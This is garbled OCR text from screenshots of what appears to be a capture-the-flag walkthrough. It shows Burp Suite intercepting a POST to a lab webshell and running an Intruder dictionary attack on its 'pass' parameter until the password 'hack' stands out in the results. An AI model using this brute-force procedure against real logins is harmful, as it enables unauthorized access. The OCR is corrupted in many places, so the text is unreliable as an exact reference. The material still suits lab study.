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http://120.24.86.145:8002/webshell/shell.php

[ Target Imey T Spider I Scanner I Intruder I Repeater I Sequencer T Decoder I Comparer T Extender T Project options T User options TA\ens }

[ Intercept I HTTP history TWebSockets history TOpticms }

EJ Proxy Listeners

E Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy sernver.

[ Add

Edit Il
Remove

Running | Interface | Invisible | Redirect | Certificate
127.0.0.1:8080 Per-host |

7 X »

™
it i

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another
installation of Burp.

l Import / export CA certificate J l Regenerate CA certificate J
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[Target T Proxy T Spider I Scanner T Intruder I Repeater T Sequencer I Decoder T Comparer T Extender I Project options T User options TAIerts }

j Intercept T HTTP history TWehSockets history I Options }

@ Request to http://120.24.86.145:8002

l Forward J l Drop J [ Intercept is on ] Action

j Raw T Params T Headers I Hex ]

POST iwebshellishell.php HTTP/1.1

Haost: 120.24.86.145:8002

Content-Length: 11

Cache-Control: max-age=0

Origin: http://120.24.86.145:8002

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/a37.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/a37.36
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp image/apng /", q=0.8
Refarer; http://120.24.86.145:8002/webshell/shell. php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9

Caonnection: close

pass=asdasd
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Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner Tlntruder T Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options IA'EI’LS ]

1= [ 2= | ...

_[Ta!get T Positions I Payloads I Options ]

EJ Attack Target

Configure the details of the target for the attack.

Host: | 120.24 86.145

Port: | 8002
[] Use HTTPS
rp Suite Professional v1.7.30 - Temporary Project Lau -

Burp Intruder Repeater Window Help

[Targsl I Proxy l’ Spider I Scanner IJntruder T Repeater l’ Sequencer I Decoder I Comparer I Extender I Project options l’ User options IA\sns ]

1= (2= ..

[Targel I Paositions T Payloads I Options ]

m Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.

Attack type: lSnlper Iv]

POST fwebshell/shell.php HTTR/M A

Host: 120.24.86.145:8002

Content-Length: 11

Cache-Control: max-age=0

Crigin: http://120.24.86.145:8002

Upgrade-Insecure-Requests: 1

Content-Type: application/sx-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWehKit/A37.36 (KHTML, like Gecko) Chrome/66.0.3355. 117 Safari/a37.36
Accept: text/html application/xhtml+xml applicationfxml;g=0.9 image/webp imagefapng ™ g=0.8
Referer: http://120.24.86.145:8002fwebshell/shell.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;q=0.9

Connection: close

IO

pass=§asdasd§

e
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@ EJ B EJ Type a search term 0 matches

1 payload position Length: 594

Start attack
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7£Playloads B [fi fIPlayload type i simple list «
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N [Targel I Proxy TSpider IScarmer ]'lntmdel T Repeater ISequencer T Decoder ]'Comparer I Extender T Project options I User options IAJerts ]

1= |25 ..

Positions

Payloads I Options }

Payload type: | Simple list v Request count: 3 424

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Enter a new item

Paste @#5% A
| l@#s%
Load . | | 1@#gona
| |@#5%"&r >
Remove
froot
Clear 3SRV
$secured v
LA |
lAdd from list ...

D Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Enabled | Rule

E

Edit

Remove >

i

Up

1

Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

] URL-encode these characters: m
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start attack



4 Intruder attack 3

Attack Save Columns

_ Target | Positions | Payloads | Options |

Filter: Showing all items
R P Status Error Timeout Comment

1944 hack 200 O ] 1o A
1] 700 ) 0

1 I@85% 200 O ] 125

2 I@#5 %" 200 O ] 125

3 I@E5% & 200 O ] 125

4 I@#T & 200 O ] 125

3 Iroot 200 O ] 125

6 $SRV 200 O ] 125

7 $securad 200 O ] 125

) *3noguru 200 J ] M25 .
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